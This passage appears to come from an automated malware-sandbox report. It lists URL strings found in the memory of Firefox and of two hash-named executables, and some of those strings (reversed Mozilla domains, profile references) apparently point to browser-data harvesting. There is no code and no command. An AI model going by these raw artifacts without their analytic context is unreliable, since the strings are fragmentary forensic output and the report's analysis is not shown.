Source: firefox.exe, 0000001A.00000002.3010265632.000001F5E3A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 8c3bfc0f85.exe, 0000000A.00000002.3076950569.00000000234D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 22a4a09ee3.exe, 00000009.00000003.2615951146.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2640095915.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2615858798.0000000005920000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000003.2841871958.000000001D15D000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767890045.0000000005E15000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767599531.0000000005E1C000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2790081284.0000000005E15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 22a4a09ee3.exe, 00000009.00000003.2615951146.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767890045.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 22a4a09ee3.exe, 00000009.00000003.2615951146.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2640095915.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2615858798.0000000005920000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000003.2841871958.000000001D15D000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767890045.0000000005E15000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767599531.0000000005E1C000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2790081284.0000000005E15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 22a4a09ee3.exe, 00000009.00000003.2615951146.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767890045.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6AE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://extensions/content/schemas/browsing_data
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E204F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2997556881.000001F5E2094000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001A.00000003.2853261001.000001F5E1FCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2999734335.000001F5E215F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/resource://gre/modules/GMPUtils.sys.mjsresource://gre/module
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchINHIBIT_PERSISTENT_CACHINGq=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/MAX(EXISTS(
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6AA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2885865111.00000090E723B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/about/Mozilla
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 22a4a09ee3.exe, 00000009.00000003.2670963873.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3076950569.00000000234D3000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Profiles
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: 22a4a09ee3.exe, 00000009.00000003.2670963873.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3076950569.00000000234D3000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/refox
Source: firefox.exe, 0000001A.00000002.2885865111.00000090E723B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3012593775.00000D3B64053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013353841.00001E9753103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
